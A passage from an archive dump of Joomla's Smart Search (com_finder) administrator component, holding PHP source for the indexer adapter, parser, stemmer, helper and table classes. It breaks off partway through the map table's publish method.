JLoader::register('FinderIndexerHelper', __DIR__ . '/helper.php');
JLoader::register('FinderIndexerResult', __DIR__ . '/result.php');
JLoader::register('FinderIndexerTaxonomy', __DIR__ . '/taxonomy.php');

/**
 * Prototype adapter class for the Finder indexer package.
 *
 * @since  2.5
 */
abstract class FinderIndexerAdapter extends JPlugin
{
	/**
	 * The context is somewhat arbitrary but it must be unique or there will be
	 * conflicts when managing plugin/indexer state. A good best practice is to
	 * use the plugin name suffix as the context. For example, if the plugin is
	 * named 'plgFinderContent', the context could be 'Content'.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $context;

	/**
	 * The extension name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $extension;

	/**
	 * The sublayout to use when rendering the results.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $layout;

	/**
	 * The mime type of the content the adapter indexes.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $mime;

	/**
	 * The access level of an item before save.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	protected $old_access;

	/**
	 * The access level of a category before save.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	protected $old_cataccess;

	/**
	 * The type of content the adapter indexes.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $type_title;

	/**
	 * The type id of the content.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	protected $type_id;

	/**
	 * The database object.
	 *
	 * @var    object
	 * @since  2.5
	 */
	protected $db;

	/**
	 * The table name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $table;

	/**
	 * The indexer object.
	 *
	 * @var    FinderIndexer
	 * @since  3.0
	 */
	protected $indexer;

	/**
	 * The field the published state is stored in.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $state_field = 'state';

	/**
	 * Method to instantiate the indexer adapter.
	 *
	 * @param   object  $subject  The object to observe.
	 * @param   array   $config   An array that holds the plugin configuration.
	 *
	 * @since   2.5
	 */
	public function __construct(&$subject, $config)
	{
		// Get the database object.
		$this->db = JFactory::getDbo();

		// Call the parent constructor.
		parent::__construct($subject, $config);

		// Get the type id.
		$this->type_id = $this->getTypeId();

		// Add the content type if it doesn't exist and is set.
		if (empty($this->type_id) && !empty($this->type_title))
		{
			$this->type_id = FinderIndexerHelper::addContentType($this->type_title, $this->mime);
		}

		// Check for a layout override.
		if ($this->params->get('layout'))
		{
			$this->layout = $this->params->get('layout');
		}

		// Get the indexer object
		$this->indexer = FinderIndexer::getInstance();
	}

	/**
	 * Method to get the adapter state and push it into the indexer.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 * @throws  Exception on error.
	 */
	public function onStartIndex()
	{
		// Get the indexer state.
		$iState = FinderIndexer::getState();

		// Get the number of content items.
		$total = (int) $this->getContentCount();

		// Add the content count to the total number of items.
		$iState->totalItems += $total;

		// Populate the indexer state information for the adapter.
		$iState->pluginState[$this->context]['total'] = $total;
		$iState->pluginState[$this->context]['offset'] = 0;

		// Set the indexer state.
		FinderIndexer::setState($iState);
	}

	/**
	 * Method to prepare for the indexer to be run. This method will often
	 * be used to include dependencies and things of that nature.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on error.
	 */
	public function onBeforeIndex()
	{
		// Get the indexer and adapter state.
		$iState = FinderIndexer::getState();
		$aState = $iState->pluginState[$this->context];

		// Check the progress of the indexer and the adapter.
		if ($iState->batchOffset == $iState->batchSize || $aState['offset'] == $aState['total'])
		{
			return true;
		}

		// Run the setup method.
		return $this->setup();
	}

	/**
	 * Method to index a batch of content items. This method can be called by
	 * the indexer many times throughout the indexing process depending on how
	 * much content is available for indexing. It is important to track the
	 * progress correctly so we can display it to the user.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on error.
	 */
	public function onBuildIndex()
	{
		// Get the indexer and adapter state.
		$iState = FinderIndexer::getState();
		$aState = $iState->pluginState[$this->context];

		// Check the progress of the indexer and the adapter.
		if ($iState->batchOffset == $iState->batchSize || $aState['offset'] == $aState['total'])
		{
			return true;
		}

		// Get the batch offset and size.
		$offset = (int) $aState['offset'];
		$limit = (int) ($iState->batchSize - $iState->batchOffset);

		// Get the content items to index.
		$items = $this->getItems($offset, $limit);

		// Iterate through the items and index them.
		for ($i = 0, $n = count($items); $i < $n; $i++)
		{
			// Index the item.
			$this->index($items[$i]);

			// Adjust the offsets.
			$offset++;
			$iState->batchOffset++;
			$iState->totalItems--;
		}

		// Update the indexer state.
		$aState['offset'] = $offset;
		$iState->pluginState[$this->context] = $aState;
		FinderIndexer::setState($iState);

		return true;
	}

	/**
	 * Method to change the value of a content item's property in the links
	 * table. This is used to synchronize published and access states that
	 * are changed when not editing an item directly.
	 *
	 * @param   string   $id        The ID of the item to change.
	 * @param   string   $property  The property that is being changed.
	 * @param   integer  $value     The new value of that property.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function change($id, $property, $value)
	{
		// Check for a property we know how to handle.
		if ($property !== 'state' && $property !== 'access')
		{
			return true;
		}

		// Get the URL for the content id.
		$item = $this->db->quote($this->getUrl($id, $this->extension, $this->layout));

		// Update the content items.
		$query = $this->db->getQuery(true)
			->update($this->db->quoteName('#__finder_links'))
			->set($this->db->quoteName($property) . ' = ' . (int) $value)
			->where($this->db->quoteName('url') . ' = ' . $item);
		$this->db->setQuery($query);
		$this->db->execute();

		return true;
	}

	/**
	 * Method to index an item.
	 *
	 * @param   FinderIndexerResult  $item  The item to index as a FinderIndexerResult object.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	abstract protected function index(FinderIndexerResult $item);

	/**
	 * Method to reindex an item.
	 *
	 * @param   integer  $id  The ID of the item to reindex.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function reindex($id)
	{
		// Run the setup method.
		$this->setup();

		// Remove the old item.
		$this->remove($id);

		// Get the item.
		$item = $this->getItem($id);

		// Index the item.
		$this->index($item);
	}

	/**
	 * Method to remove an item from the index.
	 *
	 * @param   string  $id  The ID of the item to remove.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function remove($id)
	{
		// Get the item's URL
		$url = $this->db->quote($this->getUrl($id, $this->extension, $this->layout));

		// Get the link ids for the content items.
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('link_id'))
			->from($this->db->quoteName('#__finder_links'))
			->where($this->db->quoteName('url') . ' = ' . $url);
		$this->db->setQuery($query);
		$items = $this->db->loadColumn();

		// Check the items.
		if (empty($items))
		{
			return true;
		}

		// Remove the items.
		foreach ($items as $item)
		{
			$this->indexer->remove($item);
		}

		return true;
	}

	/**
	 * Method to setup the adapter before indexing.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	abstract protected function setup();

	/**
	 * Method to update index data on category access level changes
	 *
	 * @param   JTable  $row  A JTable object
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function categoryAccessChange($row)
	{
		$query = clone $this->getStateQuery();
		$query->where('c.id = ' . (int) $row->id);

		// Get the access level.
		$this->db->setQuery($query);
		$items = $this->db->loadObjectList();

		// Adjust the access level for each item within the category.
		foreach ($items as $item)
		{
			// Set the access level.
			$temp = max($item->access, $row->access);

			// Update the item.
			$this->change((int) $item->id, 'access', $temp);

			// Reindex the item
			$this->reindex($row->id);
		}
	}

	/**
	 * Method to update index data on category access level changes
	 *
	 * @param   array    $pks    A list of primary key ids of the content that has changed state.
	 * @param   integer  $value  The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function categoryStateChange($pks, $value)
	{
		/*
		 * The item's published state is tied to the category
		 * published state so we need to look up all published states
		 * before we change anything.
		 */
		foreach ($pks as $pk)
		{
			$query = clone $this->getStateQuery();
			$query->where('c.id = ' . (int) $pk);

			// Get the published states.
			$this->db->setQuery($query);
			$items = $this->db->loadObjectList();

			// Adjust the state for each item within the category.
			foreach ($items as $item)
			{
				// Translate the state.
				$temp = $this->translateState($item->state, $value);

				// Update the item.
				$this->change($item->id, 'state', $temp);

				// Reindex the item
				$this->reindex($item->id);
			}
		}
	}

	/**
	 * Method to check the existing access level for categories
	 *
	 * @param   JTable  $row  A JTable object
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function checkCategoryAccess($row)
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('access'))
			->from($this->db->quoteName('#__categories'))
			->where($this->db->quoteName('id') . ' = ' . (int) $row->id);
		$this->db->setQuery($query);

		// Store the access level to determine if it changes
		$this->old_cataccess = $this->db->loadResult();
	}

	/**
	 * Method to check the existing access level for items
	 *
	 * @param   JTable  $row  A JTable object
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function checkItemAccess($row)
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('access'))
			->from($this->db->quoteName($this->table))
			->where($this->db->quoteName('id') . ' = ' . (int) $row->id);
		$this->db->setQuery($query);

		// Store the access level to determine if it changes
		$this->old_access = $this->db->loadResult();
	}

	/**
	 * Method to get the number of content items available to index.
	 *
	 * @return  integer  The number of content items available to index.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getContentCount()
	{
		$return = 0;

		// Get the list query.
		$query = $this->getListQuery();

		// Check if the query is valid.
		if (empty($query))
		{
			return $return;
		}

		// Tweak the SQL query to make the total lookup faster.
		if ($query instanceof JDatabaseQuery)
		{
			$query = clone $query;
			$query->clear('select')
				->select('COUNT(*)')
				->clear('order');
		}

		// Get the total number of content items to index.
		$this->db->setQuery($query);

		return (int) $this->db->loadResult();
	}

	/**
	 * Method to get a content item to index.
	 *
	 * @param   integer  $id  The id of the content item.
	 *
	 * @return  FinderIndexerResult  A FinderIndexerResult object.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getItem($id)
	{
		// Get the list query and add the extra WHERE clause.
		$query = $this->getListQuery();
		$query->where('a.id = ' . (int) $id);

		// Get the item to index.
		$this->db->setQuery($query);
		$row = $this->db->loadAssoc();

		// Convert the item to a result object.
		$item = ArrayHelper::toObject((array) $row, 'FinderIndexerResult');

		// Set the item type.
		$item->type_id = $this->type_id;

		// Set the item layout.
		$item->layout = $this->layout;

		return $item;
	}

	/**
	 * Method to get a list of content items to index.
	 *
	 * @param   integer         $offset  The list offset.
	 * @param   integer         $limit   The list limit.
	 * @param   JDatabaseQuery  $query   A JDatabaseQuery object. [optional]
	 *
	 * @return  array  An array of FinderIndexerResult objects.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getItems($offset, $limit, $query = null)
	{
		$items = array();

		// Get the content items to index.
		$this->db->setQuery($this->getListQuery($query), $offset, $limit);
		$rows = $this->db->loadAssocList();

		// Convert the items to result objects.
		foreach ($rows as $row)
		{
			// Convert the item to a result object.
			$item = ArrayHelper::toObject((array) $row, 'FinderIndexerResult');

			// Set the item type.
			$item->type_id = $this->type_id;

			// Set the mime type.
			$item->mime = $this->mime;

			// Set the item layout.
			$item->layout = $this->layout;

			// Set the extension if present
			if (isset($row->extension))
			{
				$item->extension = $row->extension;
			}

			// Add the item to the stack.
			$items[] = $item;
		}

		return $items;
	}

	/**
	 * Method to get the SQL query used to retrieve the list of content items.
	 *
	 * @param   mixed  $query  A JDatabaseQuery object. [optional]
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getListQuery($query = null)
	{
		// Check if we can use the supplied SQL query.
		return $query instanceof JDatabaseQuery ? $query : $this->db->getQuery(true);
	}

	/**
	 * Method to get the plugin type
	 *
	 * @param   integer  $id  The plugin ID
	 *
	 * @return  string  The plugin type
	 *
	 * @since   2.5
	 */
	protected function getPluginType($id)
	{
		// Prepare the query
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('element'))
			->from($this->db->quoteName('#__extensions'))
			->where($this->db->quoteName('extension_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);

		return $this->db->loadResult();
	}

	/**
	 * Method to get a SQL query to load the published and access states for
	 * an article and category.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getStateQuery()
	{
		$query = $this->db->getQuery(true);

		// Item ID
		$query->select('a.id');

		// Item and category published state
		$query->select('a.' . $this->state_field . ' AS state, c.published AS cat_state');

		// Item and category access levels
		$query->select('a.access, c.access AS cat_access')
			->from($this->table . ' AS a')
			->join('LEFT', '#__categories AS c ON c.id = a.catid');

		return $query;
	}

	/**
	 * Method to get the query clause for getting items to update by time.
	 *
	 * @param   string  $time  The modified timestamp.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getUpdateQueryByTime($time)
	{
		// Build an SQL query based on the modified time.
		$query = $this->db->getQuery(true)
			->where('a.modified >= ' . $this->db->quote($time));

		return $query;
	}

	/**
	 * Method to get the query clause for getting items to update by id.
	 *
	 * @param   array  $ids  The ids to load.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getUpdateQueryByIds($ids)
	{
		// Build an SQL query based on the item ids.
		$query = $this->db->getQuery(true)
			->where('a.id IN(' . implode(',', $ids) . ')');

		return $query;
	}

	/**
	 * Method to get the type id for the adapter content.
	 *
	 * @return  integer  The numeric type id for the content.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getTypeId()
	{
		// Get the type id from the database.
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('id'))
			->from($this->db->quoteName('#__finder_types'))
			->where($this->db->quoteName('title') . ' = ' . $this->db->quote($this->type_title));
		$this->db->setQuery($query);

		return (int) $this->db->loadResult();
	}

	/**
	 * Method to get the URL for the item. The URL is how we look up the link
	 * in the Finder index.
	 *
	 * @param   integer  $id         The id of the item.
	 * @param   string   $extension  The extension the category is in.
	 * @param   string   $view       The view for the URL.
	 *
	 * @return  string  The URL of the item.
	 *
	 * @since   2.5
	 */
	protected function getUrl($id, $extension, $view)
	{
		return 'index.php?option=' . $extension . '&view=' . $view . '&id=' . $id;
	}

	/**
	 * Method to get the page title of any menu item that is linked to the
	 * content item, if it exists and is set.
	 *
	 * @param   string  $url  The URL of the item.
	 *
	 * @return  mixed  The title on success, null if not found.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getItemMenuTitle($url)
	{
		$return = null;

		// Set variables
		$user = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());

		// Build a query to get the menu params.
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('params'))
			->from($this->db->quoteName('#__menu'))
			->where($this->db->quoteName('link') . ' = ' . $this->db->quote($url))
			->where($this->db->quoteName('published') . ' = 1')
			->where($this->db->quoteName('access') . ' IN (' . $groups . ')');

		// Get the menu params from the database.
		$this->db->setQuery($query);
		$params = $this->db->loadResult();

		// Check the results.
		if (empty($params))
		{
			return $return;
		}

		// Instantiate the params.
		$params = json_decode($params);

		// Get the page title if it is set.
		if (isset($params->page_title) && $params->page_title)
		{
			$return = $params->page_title;
		}

		return $return;
	}

	/**
	 * Method to update index data on access level changes
	 *
	 * @param   JTable  $row  A JTable object
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function itemAccessChange($row)
	{
		$query = clone $this->getStateQuery();
		$query->where('a.id = ' . (int) $row->id);

		// Get the access level.
		$this->db->setQuery($query);
		$item = $this->db->loadObject();

		// Set the access level.
		$temp = max($row->access, $item->cat_access);

		// Update the item.
		$this->change((int) $row->id, 'access', $temp);
	}

	/**
	 * Method to update index data on published state changes
	 *
	 * @param   array    $pks    A list of primary key ids of the content that has changed state.
	 * @param   integer  $value  The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function itemStateChange($pks, $value)
	{
		/*
		 * The item's published state is tied to the category
		 * published state so we need to look up all published states
		 * before we change anything.
		 */
		foreach ($pks as $pk)
		{
			$query = clone $this->getStateQuery();
			$query->where('a.id = ' . (int) $pk);

			// Get the published states.
			$this->db->setQuery($query);
			$item = $this->db->loadObject();

			// Translate the state.
			$temp = $this->translateState($value, $item->cat_state);

			// Update the item.
			$this->change($pk, 'state', $temp);

			// Reindex the item
			$this->reindex($pk);
		}
	}

	/**
	 * Method to update index data when a plugin is disabled
	 *
	 * @param   array  $pks  A list of primary key ids of the content that has changed state.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function pluginDisable($pks)
	{
		// Since multiple plugins may be disabled at a time, we need to check first
		// that we're handling the appropriate one for the context
		foreach ($pks as $pk)
		{
			if ($this->getPluginType($pk) == strtolower($this->context))
			{
				// Get all of the items to unindex them
				$query = clone $this->getStateQuery();
				$this->db->setQuery($query);
				$items = $this->db->loadColumn();

				// Remove each item
				foreach ($items as $item)
				{
					$this->remove($item);
				}
			}
		}
	}

	/**
	 * Method to translate the native content states into states that the
	 * indexer can use.
	 *
	 * @param   integer  $item      The item state.
	 * @param   integer  $category  The category state. [optional]
	 *
	 * @return  integer  The translated indexer state.
	 *
	 * @since   2.5
	 */
	protected function translateState($item, $category = null)
	{
		// If category is present, factor in its states as well
		if ($category !== null && $category == 0)
		{
			$item = 0;
		}

		// Translate the state
		switch ($item)
		{
			// Published and archived items only should return a published state
			case 1;
			case 2:
				return 1;

			// All other states should return an unpublished state
			default:
			case 0:
				return 0;
		}
	}
}
com_finder/helpers/indexer/parser.php000060400000005717152455305310013767 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Parser base class for the Finder indexer package.
 *
 * @since  2.5
 */
abstract class FinderIndexerParser
{
	/**
	 * Method to get a parser, creating it if necessary.
	 *
	 * @param   string  $format  The type of parser to load.
	 *
	 * @return  FinderIndexerParser  A FinderIndexerParser instance.
	 *
	 * @since   2.5
	 * @throws  Exception on invalid parser.
	 */
	public static function getInstance($format)
	{
		static $instances;

		// Only create one parser for each format.
		if (isset($instances[$format]))
		{
			return $instances[$format];
		}

		// Create an array of instances if necessary.
		if (!is_array($instances))
		{
			$instances = array();
		}

		// Setup the adapter for the parser.
		$format = JFilterInput::getInstance()->clean($format, 'cmd');
		$path = __DIR__ . '/parser/' . $format . '.php';
		$class = 'FinderIndexerParser' . ucfirst($format);

		// Check if a parser exists for the format.
		if (!file_exists($path))
		{
			// Throw invalid format exception.
			throw new Exception(JText::sprintf('COM_FINDER_INDEXER_INVALID_PARSER', $format));
		}

		// Instantiate the parser.
		JLoader::register($class, $path);
		$instances[$format] = new $class;

		return $instances[$format];
	}

	/**
	 * Method to parse input and extract the plain text. Because this method is
	 * called from both inside and outside the indexer, it needs to be able to
	 * batch out its parsing functionality to deal with the inefficiencies of
	 * regular expressions. We will parse recursively in 2KB chunks.
	 *
	 * @param   string  $input  The input to parse.
	 *
	 * @return  string  The plain text input.
	 *
	 * @since   2.5
	 */
	public function parse($input)
	{
		// If the input is less than 2KB we can parse it in one go.
		if (strlen($input) <= 2048)
		{
			return $this->process($input);
		}

		// Input is longer than 2Kb so parse it in chunks of 2Kb or less.
		$start = 0;
		$end = strlen($input);
		$chunk = 2048;
		$return = null;

		while ($start < $end)
		{
			// Setup the string.
			$string = substr($input, $start, $chunk);

			// Find the last space character if we aren't at the end.
			$ls = (($start + $chunk) < $end ? strrpos($string, ' ') : false);

			// Truncate to the last space character.
			if ($ls !== false)
			{
				$string = substr($string, 0, $ls);
			}

			// Adjust the start position for the next iteration.
			$start += ($ls !== false ? ($ls + 1 - $chunk) + $chunk : $chunk);

			// Parse the chunk.
			$return .= $this->process($string);
		}

		return $return;
	}

	/**
	 * Method to process input and extract the plain text.
	 *
	 * @param   string  $input  The input to process.
	 *
	 * @return  string  The plain text input.
	 *
	 * @since   2.5
	 */
	abstract protected function process($input);
}
com_finder/helpers/indexer/stemmer.php000060400000003566152455305310014147 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Stemmer base class for the Finder indexer package.
 *
 * @since  2.5
 */
abstract class FinderIndexerStemmer
{
	/**
	 * An internal cache of stemmed tokens.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public $cache = array();

	/**
	 * Method to get a stemmer, creating it if necessary.
	 *
	 * @param   string  $adapter  The type of stemmer to load.
	 *
	 * @return  FinderIndexerStemmer  A FinderIndexerStemmer instance.
	 *
	 * @since   2.5
	 * @throws  Exception on invalid stemmer.
	 */
	public static function getInstance($adapter)
	{
		static $instances;

		// Only create one stemmer for each adapter.
		if (isset($instances[$adapter]))
		{
			return $instances[$adapter];
		}

		// Create an array of instances if necessary.
		if (!is_array($instances))
		{
			$instances = array();
		}

		// Setup the adapter for the stemmer.
		$adapter = JFilterInput::getInstance()->clean($adapter, 'cmd');
		$path = __DIR__ . '/stemmer/' . $adapter . '.php';
		$class = 'FinderIndexerStemmer' . ucfirst($adapter);

		// Check if a stemmer exists for the adapter.
		if (!file_exists($path))
		{
			// Throw invalid adapter exception.
			throw new Exception(JText::sprintf('COM_FINDER_INDEXER_INVALID_STEMMER', $adapter));
		}

		// Instantiate the stemmer.
		JLoader::register($class, $path);
		$instances[$adapter] = new $class;

		return $instances[$adapter];
	}

	/**
	 * Method to stem a token and return the root.
	 *
	 * @param   string  $token  The token to stem.
	 * @param   string  $lang   The language of the token.
	 *
	 * @return  string  The root token.
	 *
	 * @since   2.5
	 */
	abstract public function stem($token, $lang);
}
com_finder/helpers/finder.php000060400000004503152455305310012274 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper class for Finder.
 *
 * @since  2.5
 */
class FinderHelper
{
	/**
	 * The extension name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public static $extension = 'com_finder';

	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public static function addSubmenu($vName)
	{
		JHtmlSidebar::addEntry(
			JText::_('COM_FINDER_SUBMENU_INDEX'),
			'index.php?option=com_finder&view=index',
			$vName === 'index'
		);
		JHtmlSidebar::addEntry(
			JText::_('COM_FINDER_SUBMENU_MAPS'),
			'index.php?option=com_finder&view=maps',
			$vName === 'maps'
		);
		JHtmlSidebar::addEntry(
			JText::_('COM_FINDER_SUBMENU_FILTERS'),
			'index.php?option=com_finder&view=filters',
			$vName === 'filters'
		);
	}

	/**
	 * Gets the finder system plugin extension id.
	 *
	 * @return  integer  The finder system plugin extension id.
	 *
	 * @since   3.6.0
	 */
	public static function getFinderPluginId()
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName('extension_id'))
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('content'))
			->where($db->quoteName('element') . ' = ' . $db->quote('finder'));
		$db->setQuery($query);

		try
		{
			$result = (int) $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());
		}

		return $result;
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return  JObject  A JObject containing the allowed actions.
	 *
	 * @since   2.5
	 * @deprecated  3.2  Use JHelperContent::getActions() instead
	 */
	public static function getActions()
	{
		// Log usage of deprecated function
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperContent::getActions() with new arguments order instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get list of actions
		return JHelperContent::getActions('com_finder');
	}
}
com_finder/helpers/language.php000060400000006026152455305310012612 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Finder language helper class.
 *
 * @since  2.5
 */
class FinderHelperLanguage
{
	/**
	 * Method to return a plural language code for a taxonomy branch.
	 *
	 * @param   string  $branchName  Branch title.
	 *
	 * @return  string  Language key code.
	 *
	 * @since   2.5
	 */
	public static function branchPlural($branchName)
	{
		$return = preg_replace('/[^a-zA-Z0-9]+/', '_', strtoupper($branchName));

		if ($return !== '_')
		{
			return 'PLG_FINDER_QUERY_FILTER_BRANCH_P_' . $return;
		}

		return $branchName;
	}

	/**
	 * Method to return a singular language code for a taxonomy branch.
	 *
	 * @param   string  $branchName  Branch name.
	 *
	 * @return  string  Language key code.
	 *
	 * @since   2.5
	 */
	public static function branchSingular($branchName)
	{
		$return = preg_replace('/[^a-zA-Z0-9]+/', '_', strtoupper($branchName));

		return 'PLG_FINDER_QUERY_FILTER_BRANCH_S_' . $return;
	}

	/**
	 * Method to return the language name for a language taxonomy branch.
	 *
	 * @param   string  $branchName  Language branch name.
	 *
	 * @return  string  The language title.
	 *
	 * @since   3.6.0
	 */
	public static function branchLanguageTitle($branchName)
	{
		$title = $branchName;

		if ($branchName === '*')
		{
			$title = JText::_('JALL_LANGUAGE');
		}
		else
		{
			$languages = JLanguageHelper::getLanguages('lang_code');

			if (isset($languages[$branchName]))
			{
				$title = $languages[$branchName]->title;
			}
		}

		return $title;
	}

	/**
	 * Method to load Smart Search component language file.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public static function loadComponentLanguage()
	{
		JFactory::getLanguage()->load('com_finder', JPATH_SITE);
	}

	/**
	 * Method to load Smart Search plugin language files.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public static function loadPluginLanguage()
	{
		static $loaded = false;

		// If already loaded, don't load again.
		if ($loaded)
		{
			return;
		}

		$loaded = true;

		// Get array of all the enabled Smart Search plugin names.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select(array($db->qn('name'), $db->qn('element')))
			->from($db->quoteName('#__extensions'))
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('finder'))
			->where($db->quoteName('enabled') . ' = 1');
		$db->setQuery($query);
		$plugins = $db->loadObjectList();

		if (empty($plugins))
		{
			return;
		}

		// Load generic language strings.
		$lang = JFactory::getLanguage();
		$lang->load('plg_content_finder', JPATH_ADMINISTRATOR);

		// Load language file for each plugin.
		foreach ($plugins as $plugin)
		{
			$lang->load($plugin->name, JPATH_ADMINISTRATOR)
				|| $lang->load($plugin->name, JPATH_PLUGINS . '/finder/' . $plugin->element);
		}
	}
}
com_finder/tables/link.php000060400000001122152455305310011564 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Link table class for the Finder package.
 *
 * @since  2.5
 */
class FinderTableLink extends JTable
{
	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  $db  JDatabaseDriver connector object.
	 *
	 * @since   2.5
	 */
	public function __construct(&$db)
	{
		parent::__construct('#__finder_links', 'link_id', $db);
	}
}
com_finder/tables/map.php000060400000004717152455305310011421 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Map table class for the Finder package.
 *
 * @since  2.5
 */
class FinderTableMap extends JTable
{
	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  $db  JDatabaseDriver connector object.
	 *
	 * @since   2.5
	 */
	public function __construct(&$db)
	{
		parent::__construct('#__finder_taxonomy', 'id', $db);
	}

	/**
	 * Method to set the publishing state for a row or list of rows in the database
	 * table. The method respects checked out rows by other users and will attempt
	 * to checkin rows that it can after adjustments are made.
	 *
	 * @param   mixed    $pks     An array of primary key values to update.  If not
	 *                            set the instance property value is used. [optional]
	 * @param   integer  $state   The publishing state. eg. [0 = unpublished, 1 = published] [optional]
	 * @param   integer  $userId  The user id of the user performing the operation. [optional]
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	public function publish($pks = null, $state = 1, $userId = 0)
	{
		$k = $this->_tbl_key;

		// Sanitize input.
		$pks = ArrayHelper::toInteger($pks);
		$state = (int) $state;

		// If there are no primary keys set check to see if the instance key is set.
		if (empty($pks))
		{
			if ($this->$k)
			{
				$pks = array($this->$k);
			}
			// Nothing to set publishing state on, return false.
			else
			{
				$this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED'));

				return false;
			}
		}

		// Build the WHERE clause for the primary keys.
		$where = $k . '=' . implode(' OR ' . $k . '=', $pks);

		// Update the publishing state for rows with the given primary keys.
		$query = $this->_db->getQuery(true)
			->update($this->_db->quoteName($this->_tbl))
			->set($this->_db->quoteName('state') . ' = ' . (int) $state)
			->where($where);
		$this->_db->setQuery($query);

		try
		{
			$this->_db->execute();
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// If the JTable instance value is in the list of primary keys that were set, set the instance.
		if (in_array($this->$k, $pks))
		{
